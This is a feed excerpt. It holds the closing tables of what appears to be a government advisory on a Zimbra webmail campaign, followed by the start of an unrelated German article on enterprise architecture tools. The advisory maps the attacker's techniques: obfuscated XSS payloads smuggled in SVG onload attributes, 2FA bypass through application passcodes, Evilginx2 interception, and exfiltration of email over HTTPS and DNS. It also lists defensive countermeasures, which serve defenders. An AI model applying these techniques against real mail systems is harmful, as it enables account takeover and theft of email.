<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



